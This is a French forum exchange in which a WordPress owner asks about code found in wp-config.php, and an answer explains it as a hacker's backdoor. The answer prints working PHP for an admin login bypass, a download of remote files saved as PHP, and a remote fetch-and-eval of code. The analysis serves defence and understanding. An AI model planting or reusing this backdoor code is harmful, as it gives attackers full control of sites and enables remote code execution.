Bonjour, j'ai trouvé du nouveau code dans le fichier wp-config.php de l'un de mes sites. Il semble y avoir été placé par un pirate informatique. Quelqu'un peut-il expliquer ce qu'il fait?
Il y a 3 'fonctions' principales de ce code. Les deux lignes vérifient que pingnow
et pass
sont définis et que pass
est la valeur correcte. pingnow
est utilisé plus tard pour basculer entre les "fonctions".
Le premier est exécuté si la variable pingnow
GET est login
. Il connecte l'utilisateur demandeur en tant qu'utilisateur 'admin'. Cela ne fonctionnera pas s'il n'y a pas d'utilisateur appelé 'admin'.
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
La deuxième partie permet de télécharger des fichiers définis sur votre serveur. Si la variable pingnow
est exec
, le script télécharge le fichier et l'enregistre sur votre serveur sous le nom d'un hachage aléatoire md5. Il redirige ensuite l'attaquant vers le script.
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(Rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
La troisième partie permet l'évaluation de php à distance. Il télécharge un fichier, puis eval
, en l’exécutant sur votre serveur.
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}